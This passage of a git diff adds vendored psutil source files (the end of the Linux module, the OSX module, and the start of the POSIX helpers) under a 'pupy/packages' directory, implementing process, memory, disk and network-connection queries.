-an and lsof does the same so it's + # unlikely we can do any better. + # ENOENT just means a PID disappeared on us. + if err.errno not in ( + errno.ENOENT, errno.ESRCH, errno.EPERM, errno.EACCES): + raise + return inodes + + def decode_address(self, addr, family): + """Accept an "ip:port" address as displayed in /proc/net/* + and convert it into a human readable form, like: + + "0500000A:0016" -> ("10.0.0.5", 22) + "0000000000000000FFFF00000100007F:9E49" -> ("::ffff:127.0.0.1", 40521) + + The IP address portion is a little or big endian four-byte + hexadecimal number; that is, the least significant byte is listed + first, so we need to reverse the order of the bytes to convert it + to an IP address. + The port is represented as a two-byte hexadecimal number. + + Reference: + http://linuxdevcenter.com/pub/a/linux/2000/11/16/LinuxAdmin.html + """ + ip, port = addr.split(':') + port = int(port, 16) + # this usually refers to a local socket in listen mode with + # no end-points connected + if not port: + return () + if PY3: + ip = ip.encode('ascii') + if family == socket.AF_INET: + # see: https://github.com/giampaolo/psutil/issues/201 + if sys.byteorder == 'little': + ip = socket.inet_ntop(family, base64.b16decode(ip)[::-1]) + else: + ip = socket.inet_ntop(family, base64.b16decode(ip)) + else: # IPv6 + # old version - let's keep it, just in case... + # ip = ip.decode('hex') + # return socket.inet_ntop(socket.AF_INET6, + # ''.join(ip[i:i+4][::-1] for i in xrange(0, 16, 4))) + ip = base64.b16decode(ip) + # see: https://github.com/giampaolo/psutil/issues/201 + if sys.byteorder == 'little': + ip = socket.inet_ntop( + socket.AF_INET6, + struct.pack('>4I', *struct.unpack('<4I', ip))) + else: + ip = socket.inet_ntop( + socket.AF_INET6, + struct.pack('<4I', *struct.unpack('<4I', ip))) + return (ip, port) + + def process_inet(self, file, family, type_, inodes, filter_pid=None): + """Parse /proc/net/tcp* and /proc/net/udp* files.""" + if file.endswith('6') and not os.path.exists(file): + # IPv6 not supported + return + with open_text(file) as f: + f.readline() # skip the first line + for line in f: + try: + _, laddr, raddr, status, _, _, _, _, _, inode = \ + line.split()[:10] + except ValueError: + raise RuntimeError( + "error while parsing %s; malformed line %r" % ( + file, line)) + if inode in inodes: + # # We assume inet sockets are unique, so we error + # # out if there are multiple references to the + # # same inode. We won't do this for UNIX sockets. + # if len(inodes[inode]) > 1 and family != socket.AF_UNIX: + # raise ValueError("ambiguos inode with multiple " + # "PIDs references") + pid, fd = inodes[inode][0] + else: + pid, fd = None, -1 + if filter_pid is not None and filter_pid != pid: + continue + else: + if type_ == socket.SOCK_STREAM: + status = TCP_STATUSES[status] + else: + status = _common.CONN_NONE + laddr = self.decode_address(laddr, family) + raddr = self.decode_address(raddr, family) + yield (fd, family, type_, laddr, raddr, status, pid) + + def process_unix(self, file, family, inodes, filter_pid=None): + """Parse /proc/net/unix files.""" + # see: https://github.com/giampaolo/psutil/issues/675 + kw = dict(encoding=FS_ENCODING, errors='replace') if PY3 else dict() + with open(file, 'rt', **kw) as f: + f.readline() # skip the first line + for line in f: + tokens = line.split() + try: + _, _, _, _, type_, _, inode = tokens[0:7] + except ValueError: + raise RuntimeError( + "error while parsing %s; malformed line %r" % ( + file, line)) + if inode in inodes: + # With UNIX sockets we can have a single inode + # referencing many file descriptors. + pairs = inodes[inode] + else: + pairs = [(None, -1)] + for pid, fd in pairs: + if filter_pid is not None and filter_pid != pid: + continue + else: + if len(tokens) == 8: + path = tokens[-1] + else: + path = "" + type_ = int(type_) + raddr = None + status = _common.CONN_NONE + yield (fd, family, type_, path, raddr, status, pid) + + def retrieve(self, kind, pid=None): + if kind not in self.tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in self.tmap]))) + if pid is not None: + inodes = self.get_proc_inodes(pid) + if not inodes: + # no connections for this process + return [] + else: + inodes = self.get_all_inodes() + ret = set() + for f, family, type_ in self.tmap[kind]: + if family in (socket.AF_INET, socket.AF_INET6): + ls = self.process_inet( + "/proc/net/%s" % f, family, type_, inodes, filter_pid=pid) + else: + ls = self.process_unix( + "/proc/net/%s" % f, family, inodes, filter_pid=pid) + for fd, family, type_, laddr, raddr, status, bound_pid in ls: + if pid: + conn = _common.pconn(fd, family, type_, laddr, raddr, + status) + else: + conn = _common.sconn(fd, family, type_, laddr, raddr, + status, bound_pid) + ret.add(conn) + return list(ret) + + +_connections = Connections() + + +def net_connections(kind='inet'): + """Return system-wide open connections.""" + return _connections.retrieve(kind) + + +def net_io_counters(): + """Return network I/O statistics for every network interface + installed on the system as a dict of raw tuples. + """ + with open_text("/proc/net/dev") as f: + lines = f.readlines() + retdict = {} + for line in lines[2:]: + colon = line.rfind(':') + assert colon > 0, repr(line) + name = line[:colon].strip() + fields = line[colon + 1:].strip().split() + bytes_recv = int(fields[0]) + packets_recv = int(fields[1]) + errin = int(fields[2]) + dropin = int(fields[3]) + bytes_sent = int(fields[8]) + packets_sent = int(fields[9]) + errout = int(fields[10]) + dropout = int(fields[11]) + retdict[name] = (bytes_sent, bytes_recv, packets_sent, packets_recv, + errin, errout, dropin, dropout) + return retdict + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + duplex_map = {cext.DUPLEX_FULL: NIC_DUPLEX_FULL, + cext.DUPLEX_HALF: NIC_DUPLEX_HALF, + cext.DUPLEX_UNKNOWN: NIC_DUPLEX_UNKNOWN} + names = net_io_counters().keys() + ret = {} + for name in names: + isup, duplex, speed, mtu = cext.net_if_stats(name) + duplex = duplex_map[duplex] + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +net_if_addrs = cext_posix.net_if_addrs + + +# --- disks + +def disk_io_counters(): + """Return disk I/O statistics for every disk installed on the + system as a dict of raw tuples. + """ + # man iostat states that sectors are equivalent with blocks and + # have a size of 512 bytes since 2.4 kernels. This value is + # needed to calculate the amount of disk I/O in bytes. + SECTOR_SIZE = 512 + + # determine partitions we want to look for + partitions = [] + with open_text("/proc/partitions") as f: + lines = f.readlines()[2:] + for line in reversed(lines): + _, _, _, name = line.split() + if name[-1].isdigit(): + # we're dealing with a partition (e.g. 'sda1'); 'sda' will + # also be around but we want to omit it + partitions.append(name) + else: + if not partitions or not partitions[-1].startswith(name): + # we're dealing with a disk entity for which no + # partitions have been defined (e.g. 'sda' but + # 'sda1' was not around), see: + # https://github.com/giampaolo/psutil/issues/338 + partitions.append(name) + # + retdict = {} + with open_text("/proc/diskstats") as f: + lines = f.readlines() + for line in lines: + # http://www.mjmwired.net/kernel/Documentation/iostats.txt + fields = line.split() + if len(fields) > 7: + _, _, name, reads, _, rbytes, rtime, writes, _, wbytes, wtime = \ + fields[:11] + else: + # from kernel 2.6.0 to 2.6.25 + _, _, name, reads, rbytes, writes, wbytes = fields + rtime, wtime = 0, 0 + if name in partitions: + rbytes = int(rbytes) * SECTOR_SIZE + wbytes = int(wbytes) * SECTOR_SIZE + reads = int(reads) + writes = int(writes) + rtime = int(rtime) + wtime = int(wtime) + retdict[name] = (reads, writes, rbytes, wbytes, rtime, wtime) + return retdict + + +def disk_partitions(all=False): + """Return mounted disk partitions as a list of namedtuples""" + fstypes = set() + with open_text("/proc/filesystems") as f: + for line in f: + line = line.strip() + if not line.startswith("nodev"): + fstypes.add(line.strip()) + else: + # ignore all lines starting with "nodev" except "nodev zfs" + fstype = line.split("\t")[1] + if fstype == "zfs": + fstypes.add("zfs") + + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + if device == '' or fstype not in fstypes: + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +disk_usage = _psposix.disk_usage + + +# --- decorators + +def wrap_exceptions(fun): + """Decorator which translates bare OSError and IOError exceptions + into NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except EnvironmentError as err: + # support for private module import + if NoSuchProcess is None or AccessDenied is None: + raise + # ENOENT (no such file or directory) gets raised on open(). + # ESRCH (no such process) can get raised on read() if + # process is gone in meantime. + if err.errno in (errno.ENOENT, errno.ESRCH): + raise NoSuchProcess(self.pid, self._name) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +def wrap_exceptions_w_zombie(fun): + """Same as above but also handles zombies.""" + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return wrap_exceptions(fun)(self) + except NoSuchProcess: + if not pid_exists(self.pid): + raise + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + return wrapper + + +class Process(object): + """Linux process implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + with open_text("/proc/%s/stat" % self.pid) as f: + data = f.read() + # XXX - gets changed later and probably needs refactoring + return data[data.find('(') + 1:data.rfind(')')] + + def exe(self): + try: + exe = os.readlink("/proc/%s/exe" % self.pid) + except OSError as err: + if err.errno in (errno.ENOENT, errno.ESRCH): + # no such file error; might be raised also if the + # path actually exists for system processes with + # low pids (about 0-20) + if os.path.lexists("/proc/%s" % self.pid): + return "" + else: + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + + # readlink() might return paths containing null bytes ('\x00'). + # Certain names have ' (deleted)' appended. Usually this is + # bogus as the file actually exists. Either way that's not + # important as we don't want to discriminate executables which + # have been deleted. + exe = exe.split('\x00')[0] + if exe.endswith(' (deleted)') and not os.path.exists(exe): + exe = exe[:-10] + return exe + + @wrap_exceptions + def cmdline(self): + with open_text("/proc/%s/cmdline" % self.pid) as f: + data = f.read() + if data.endswith('\x00'): + data = data[:-1] + return [x for x in data.split('\x00')] + + @wrap_exceptions + def terminal(self): + tmap = _psposix._get_terminal_map() + with open("/proc/%s/stat" % self.pid, 'rb') as f: + tty_nr = int(f.read().split(b' ')[6]) + try: + return tmap[tty_nr] + except KeyError: + return None + + if os.path.exists('/proc/%s/io' % os.getpid()): + @wrap_exceptions + def io_counters(self): + fname = "/proc/%s/io" % self.pid + with open(fname, 'rb') as f: + rcount = wcount = rbytes = wbytes = None + for line in f: + if rcount is None and line.startswith(b"syscr"): + rcount = int(line.split()[1]) + elif wcount is None and line.startswith(b"syscw"): + wcount = int(line.split()[1]) + elif rbytes is None and line.startswith(b"read_bytes"): + rbytes = int(line.split()[1]) + elif wbytes is None and line.startswith(b"write_bytes"): + wbytes = int(line.split()[1]) + for x in (rcount, wcount, rbytes, wbytes): + if x is None: + raise NotImplementedError( + "couldn't read all necessary info from %r" % fname) + return _common.pio(rcount, wcount, rbytes, wbytes) + else: + def io_counters(self): + raise NotImplementedError("couldn't find /proc/%s/io (kernel " + "too old?)" % self.pid) + + @wrap_exceptions + def cpu_times(self): + with open("/proc/%s/stat" % self.pid, 'rb') as f: + st = f.read().strip() + # ignore the first two values ("pid (exe)") + st = st[st.find(b')') + 2:] + values = st.split(b' ') + utime = float(values[11]) / CLOCK_TICKS + stime = float(values[12]) / CLOCK_TICKS + return _common.pcputimes(utime, stime) + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) + + @wrap_exceptions + def create_time(self): + with open("/proc/%s/stat" % self.pid, 'rb') as f: + st = f.read().strip() + # ignore the first two values ("pid (exe)") + st = st[st.rfind(b')') + 2:] + values = st.split(b' ') + # According to documentation, starttime is in field 21 and the + # unit is jiffies (clock ticks). + # We first divide it for clock ticks and then add uptime returning + # seconds since the epoch, in UTC. + # Also use cached value if available. + bt = BOOT_TIME or boot_time() + return (float(values[19]) / CLOCK_TICKS) + bt + + @wrap_exceptions + def memory_info(self): + with open("/proc/%s/statm" % self.pid, 'rb') as f: + vms, rss = f.readline().split()[:2] + return _common.pmem(int(rss) * PAGESIZE, + int(vms) * PAGESIZE) + + @wrap_exceptions + def memory_info_ex(self): + # ============================================================ + # | FIELD | DESCRIPTION | AKA | TOP | + # ============================================================ + # | rss | resident set size | | RES | + # | vms | total program size | size | VIRT | + # | shared | shared pages (from shared mappings) | | SHR | + # | text | text ('code') | trs | CODE | + # | lib | library (unused in Linux 2.6) | lrs | | + # | data | data + stack | drs | DATA | + # | dirty | dirty pages (unused in Linux 2.6) | dt | | + # ============================================================ + with open("/proc/%s/statm" % self.pid, "rb") as f: + vms, rss, shared, text, lib, data, dirty = \ + [int(x) * PAGESIZE for x in f.readline().split()[:7]] + return pextmem(rss, vms, shared, text, lib, data, dirty) + + if os.path.exists('/proc/%s/smaps' % os.getpid()): + + @wrap_exceptions + def memory_maps(self): + """Return process's mapped memory regions as a list of named tuples. + Fields are explained in 'man proc'; here is an updated (Apr 2012) + version: http://goo.gl/fmebo + """ + with open_text("/proc/%s/smaps" % self.pid) as f: + first_line = f.readline() + current_block = [first_line] + + def get_blocks(): + data = {} + for line in f: + fields = line.split(None, 5) + if not fields[0].endswith(':'): + # new block section + yield (current_block.pop(), data) + current_block.append(line) + else: + try: + data[fields[0]] = int(fields[1]) * 1024 + except ValueError: + if fields[0].startswith('VmFlags:'): + # see issue #369 + continue + else: + raise ValueError("don't know how to inte" + "rpret line %r" % line) + yield (current_block.pop(), data) + + ls = [] + if first_line: # smaps file can be empty + for header, data in get_blocks(): + hfields = header.split(None, 5) + try: + addr, perms, offset, dev, inode, path = hfields + except ValueError: + addr, perms, offset, dev, inode, path = \ + hfields + [''] + if not path: + path = '[anon]' + else: + path = path.strip() + ls.append(( + addr, perms, path, + data['Rss:'], + data.get('Size:', 0), + data.get('Pss:', 0), + data.get('Shared_Clean:', 0), + data.get('Shared_Dirty:', 0), + data.get('Private_Clean:', 0), + data.get('Private_Dirty:', 0), + data.get('Referenced:', 0), + data.get('Anonymous:', 0), + data.get('Swap:', 0) + )) + return ls + + else: + def memory_maps(self): + msg = "couldn't find /proc/%s/smaps; kernel < 2.6.14 or " \ + "CONFIG_MMU kernel configuration option is not enabled" \ + % self.pid + raise NotImplementedError(msg) + + @wrap_exceptions_w_zombie + def cwd(self): + # readlink() might return paths containing null bytes causing + # problems when used with other fs-related functions (os.*, + # open(), ...) + path = os.readlink("/proc/%s/cwd" % self.pid) + return path.replace('\x00', '') + + @wrap_exceptions + def num_ctx_switches(self): + vol = unvol = None + with open("/proc/%s/status" % self.pid, "rb") as f: + for line in f: + if line.startswith(b"voluntary_ctxt_switches"): + vol = int(line.split()[1]) + elif line.startswith(b"nonvoluntary_ctxt_switches"): + unvol = int(line.split()[1]) + if vol is not None and unvol is not None: + return _common.pctxsw(vol, unvol) + raise NotImplementedError( + "'voluntary_ctxt_switches' and 'nonvoluntary_ctxt_switches'" + "fields were not found in /proc/%s/status; the kernel is " + "probably older than 2.6.23" % self.pid) + + @wrap_exceptions + def num_threads(self): + with open("/proc/%s/status" % self.pid, "rb") as f: + for line in f: + if line.startswith(b"Threads:"): + return int(line.split()[1]) + raise NotImplementedError("line not found") + + @wrap_exceptions + def threads(self): + thread_ids = os.listdir("/proc/%s/task" % self.pid) + thread_ids.sort() + retlist = [] + hit_enoent = False + for thread_id in thread_ids: + fname = "/proc/%s/task/%s/stat" % (self.pid, thread_id) + try: + with open(fname, 'rb') as f: + st = f.read().strip() + except IOError as err: + if err.errno == errno.ENOENT: + # no such file or directory; it means thread + # disappeared on us + hit_enoent = True + continue + raise + # ignore the first two values ("pid (exe)") + st = st[st.find(b')') + 2:] + values = st.split(b' ') + utime = float(values[11]) / CLOCK_TICKS + stime = float(values[12]) / CLOCK_TICKS + ntuple = _common.pthread(int(thread_id), utime, stime) + retlist.append(ntuple) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + @wrap_exceptions + def nice_get(self): + # with open_text('/proc/%s/stat' % self.pid) as f: + # data = f.read() + # return int(data.split()[18]) + + # Use C implementation + return cext_posix.getpriority(self.pid) + + @wrap_exceptions + def nice_set(self, value): + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def cpu_affinity_get(self): + return cext.proc_cpu_affinity_get(self.pid) + + @wrap_exceptions + def cpu_affinity_set(self, cpus): + try: + cext.proc_cpu_affinity_set(self.pid, cpus) + except OSError as err: + if err.errno == errno.EINVAL: + allcpus = tuple(range(len(per_cpu_times()))) + for cpu in cpus: + if cpu not in allcpus: + raise ValueError("invalid CPU #%i (choose between %s)" + % (cpu, allcpus)) + raise + + # only starting from kernel 2.6.13 + if hasattr(cext, "proc_ioprio_get"): + + @wrap_exceptions + def ionice_get(self): + ioclass, value = cext.proc_ioprio_get(self.pid) + if enum is not None: + ioclass = IOPriority(ioclass) + return _common.pionice(ioclass, value) + + @wrap_exceptions + def ionice_set(self, ioclass, value): + if value is not None: + if not PY3 and not isinstance(value, (int, long)): + msg = "value argument is not an integer (gor %r)" % value + raise TypeError(msg) + if not 0 <= value <= 7: + raise ValueError( + "value argument range expected is between 0 and 7") + + if ioclass in (IOPRIO_CLASS_NONE, None): + if value: + msg = "can't specify value with IOPRIO_CLASS_NONE " \ + "(got %r)" % value + raise ValueError(msg) + ioclass = IOPRIO_CLASS_NONE + value = 0 + elif ioclass == IOPRIO_CLASS_IDLE: + if value: + msg = "can't specify value with IOPRIO_CLASS_IDLE " \ + "(got %r)" % value + raise ValueError(msg) + value = 0 + elif ioclass in (IOPRIO_CLASS_RT, IOPRIO_CLASS_BE): + if value is None: + # TODO: add comment explaining why this is 4 (?) + value = 4 + else: + # otherwise we would get OSError(EVINAL) + raise ValueError("invalid ioclass argument %r" % ioclass) + + return cext.proc_ioprio_set(self.pid, ioclass, value) + + if HAS_PRLIMIT: + @wrap_exceptions + def rlimit(self, resource, limits=None): + # If pid is 0 prlimit() applies to the calling process and + # we don't want that. We should never get here though as + # PID 0 is not supported on Linux. + if self.pid == 0: + raise ValueError("can't use prlimit() against PID 0 process") + try: + if limits is None: + # get + return cext.linux_prlimit(self.pid, resource) + else: + # set + if len(limits) != 2: + raise ValueError( + "second argument must be a (soft, hard) tuple, " + "got %s" % repr(limits)) + soft, hard = limits + cext.linux_prlimit(self.pid, resource, soft, hard) + except OSError as err: + if err.errno == errno.ENOSYS and pid_exists(self.pid): + # I saw this happening on Travis: + # https://travis-ci.org/giampaolo/psutil/jobs/51368273 + raise ZombieProcess(self.pid, self._name, self._ppid) + else: + raise + + @wrap_exceptions + def status(self): + with open("/proc/%s/status" % self.pid, 'rb') as f: + for line in f: + if line.startswith(b"State:"): + letter = line.split()[1] + if PY3: + letter = letter.decode() + # XXX is '?' legit? (we're not supposed to return + # it anyway) + return PROC_STATUSES.get(letter, '?') + + @wrap_exceptions + def open_files(self): + retlist = [] + files = os.listdir("/proc/%s/fd" % self.pid) + hit_enoent = False + for fd in files: + file = "/proc/%s/fd/%s" % (self.pid, fd) + try: + file = os.readlink(file) + except OSError as err: + # ENOENT == file which is gone in the meantime + if err.errno in (errno.ENOENT, errno.ESRCH): + hit_enoent = True + continue + elif err.errno == errno.EINVAL: + # not a link + continue + else: + raise + else: + # If file is not an absolute path there's no way + # to tell whether it's a regular file or not, + # so we skip it. A regular file is always supposed + # to be absolutized though. + if file.startswith('/') and isfile_strict(file): + ntuple = _common.popenfile(file, int(fd)) + retlist.append(ntuple) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + @wrap_exceptions + def connections(self, kind='inet'): + ret = _connections.retrieve(kind, self.pid) + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return ret + + @wrap_exceptions + def num_fds(self): + return len(os.listdir("/proc/%s/fd" % self.pid)) + + @wrap_exceptions + def ppid(self): + fpath = "/proc/%s/status" % self.pid + with open(fpath, 'rb') as f: + for line in f: + if line.startswith(b"PPid:"): + # PPid: nnnn + return int(line.split()[1]) + raise NotImplementedError("line 'PPid' not found in %s" % fpath) + + @wrap_exceptions + def uids(self): + fpath = "/proc/%s/status" % self.pid + with open(fpath, 'rb') as f: + for line in f: + if line.startswith(b'Uid:'): + _, real, effective, saved, fs = line.split() + return _common.puids(int(real), int(effective), int(saved)) + raise NotImplementedError("line 'Uid' not found in %s" % fpath) + + @wrap_exceptions + def gids(self): + fpath = "/proc/%s/status" % self.pid + with open(fpath, 'rb') as f: + for line in f: + if line.startswith(b'Gid:'): + _, real, effective, saved, fs = line.split() + return _common.pgids(int(real), int(effective), int(saved)) + raise NotImplementedError("line 'Gid' not found in %s" % fpath) diff --git a/pupy/packages/windows/x86/psutil/_psosx.py b/pupy/packages/windows/x86/psutil/_psosx.py new file mode 100755 index 00000000..41875fe4 --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_psosx.py @@ -0,0 +1,363 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""OSX platform implementation.""" + +import errno +import functools +import os +from collections import namedtuple + +from . import _common +from . import _psposix +from . import _psutil_osx as cext +from . import _psutil_posix as cext_posix +from ._common import conn_tmap, usage_percent, isfile_strict +from ._common import sockfam_to_enum, socktype_to_enum + + +__extra__all__ = [] + +# --- constants + +PAGESIZE = os.sysconf("SC_PAGE_SIZE") +AF_LINK = cext_posix.AF_LINK + +# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h +TCP_STATUSES = { + cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED, + cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT, + cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV, + cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1, + cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2, + cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.TCPS_CLOSED: _common.CONN_CLOSE, + cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK, + cext.TCPS_LISTEN: _common.CONN_LISTEN, + cext.TCPS_CLOSING: _common.CONN_CLOSING, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, +} + +PROC_STATUSES = { + cext.SIDL: _common.STATUS_IDLE, + cext.SRUN: _common.STATUS_RUNNING, + cext.SSLEEP: _common.STATUS_SLEEPING, + cext.SSTOP: _common.STATUS_STOPPED, + cext.SZOMB: _common.STATUS_ZOMBIE, +} + +scputimes = namedtuple('scputimes', ['user', 'nice', 'system', 'idle']) + +svmem = namedtuple( + 'svmem', ['total', 'available', 'percent', 'used', 'free', + 'active', 'inactive', 'wired']) + +pextmem = namedtuple('pextmem', ['rss', 'vms', 'pfaults', 'pageins']) + +pmmap_grouped = namedtuple( + 'pmmap_grouped', + 'path rss private swapped dirtied ref_count shadow_depth') + +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + + +# --- functions + +def virtual_memory(): + """System virtual memory as a namedtuple.""" + total, active, inactive, wired, free = cext.virtual_mem() + avail = inactive + free + used = active + inactive + wired + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free, + active, inactive, wired) + + +def swap_memory(): + """Swap system memory as a (total, used, free, sin, sout) tuple.""" + total, used, free, sin, sout = cext.swap_mem() + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, sin, sout) + + +def cpu_times(): + """Return system CPU times as a namedtuple.""" + user, nice, system, idle = cext.cpu_times() + return scputimes(user, nice, system, idle) + + +def per_cpu_times(): + """Return system CPU times as a named tuple""" + ret = [] + for cpu_t in cext.per_cpu_times(): + user, nice, system, idle = cpu_t + item = scputimes(user, nice, system, idle) + ret.append(item) + return ret + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + return cext.cpu_count_logical() + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + return cext.cpu_count_phys() + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def disk_partitions(all=False): + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + if not os.path.isabs(device) or not os.path.exists(device): + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +def users(): + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, tty, hostname, tstamp = item + if tty == '~': + continue # reboot or shutdown + if not tstamp: + continue + nt = _common.suser(user, tty or None, hostname or None, tstamp) + retlist.append(nt) + return retlist + + +def net_connections(kind='inet'): + # Note: on OSX this will fail with AccessDenied unless + # the process is owned by root. + ret = [] + for pid in pids(): + try: + cons = Process(pid).connections(kind) + except NoSuchProcess: + continue + else: + if cons: + for c in cons: + c = list(c) + [pid] + ret.append(_common.sconn(*c)) + return ret + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + names = net_io_counters().keys() + ret = {} + for name in names: + isup, duplex, speed, mtu = cext_posix.net_if_stats(name) + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +pids = cext.pids +pid_exists = _psposix.pid_exists +disk_usage = _psposix.disk_usage +net_io_counters = cext.net_io_counters +disk_io_counters = cext.disk_io_counters +net_if_addrs = cext_posix.net_if_addrs + + +def wrap_exceptions(fun): + """Decorator which translates bare OSError exceptions into + NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except OSError as err: + # support for private module import + if (NoSuchProcess is None or AccessDenied is None or + ZombieProcess is None): + raise + if err.errno == errno.ESRCH: + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + return cext.proc_name(self.pid) + + @wrap_exceptions + def exe(self): + return cext.proc_exe(self.pid) + + @wrap_exceptions + def cmdline(self): + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + return cext.proc_cmdline(self.pid) + + @wrap_exceptions + def ppid(self): + return cext.proc_ppid(self.pid) + + @wrap_exceptions + def cwd(self): + return cext.proc_cwd(self.pid) + + @wrap_exceptions + def uids(self): + real, effective, saved = cext.proc_uids(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def gids(self): + real, effective, saved = cext.proc_gids(self.pid) + return _common.pgids(real, effective, saved) + + @wrap_exceptions + def terminal(self): + tty_nr = cext.proc_tty_nr(self.pid) + tmap = _psposix._get_terminal_map() + try: + return tmap[tty_nr] + except KeyError: + return None + + @wrap_exceptions + def memory_info(self): + rss, vms = cext.proc_memory_info(self.pid)[:2] + return _common.pmem(rss, vms) + + @wrap_exceptions + def memory_info_ex(self): + rss, vms, pfaults, pageins = cext.proc_memory_info(self.pid) + return pextmem(rss, vms, pfaults * PAGESIZE, pageins * PAGESIZE) + + @wrap_exceptions + def cpu_times(self): + user, system = cext.proc_cpu_times(self.pid) + return _common.pcputimes(user, system) + + @wrap_exceptions + def create_time(self): + return cext.proc_create_time(self.pid) + + @wrap_exceptions + def num_ctx_switches(self): + return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid)) + + @wrap_exceptions + def num_threads(self): + return cext.proc_num_threads(self.pid) + + @wrap_exceptions + def open_files(self): + if self.pid == 0: + return [] + files = [] + rawlist = cext.proc_open_files(self.pid) + for path, fd in rawlist: + if isfile_strict(path): + ntuple = _common.popenfile(path, fd) + files.append(ntuple) + return files + + @wrap_exceptions + def connections(self, kind='inet'): + if kind not in conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + rawlist = cext.proc_connections(self.pid, families, types) + ret = [] + for item in rawlist: + fd, fam, type, laddr, raddr, status = item + status = TCP_STATUSES[status] + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + nt = _common.pconn(fd, fam, type, laddr, raddr, status) + ret.append(nt) + return ret + + @wrap_exceptions + def num_fds(self): + if self.pid == 0: + return 0 + return cext.proc_num_fds(self.pid) + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) + + @wrap_exceptions + def nice_get(self): + return cext_posix.getpriority(self.pid) + + @wrap_exceptions + def nice_set(self, value): + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def status(self): + code = cext.proc_status(self.pid) + # XXX is '?' legit? (we're not supposed to return it anyway) + return PROC_STATUSES.get(code, '?') + + @wrap_exceptions + def threads(self): + rawlist = cext.proc_threads(self.pid) + retlist = [] + for thread_id, utime, stime in rawlist: + ntuple = _common.pthread(thread_id, utime, stime) + retlist.append(ntuple) + return retlist + + @wrap_exceptions + def memory_maps(self): + return cext.proc_memory_maps(self.pid) diff --git a/pupy/packages/windows/x86/psutil/_psposix.py b/pupy/packages/windows/x86/psutil/_psposix.py new file mode 100755 index 00000000..5bb16a38 --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_psposix.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights 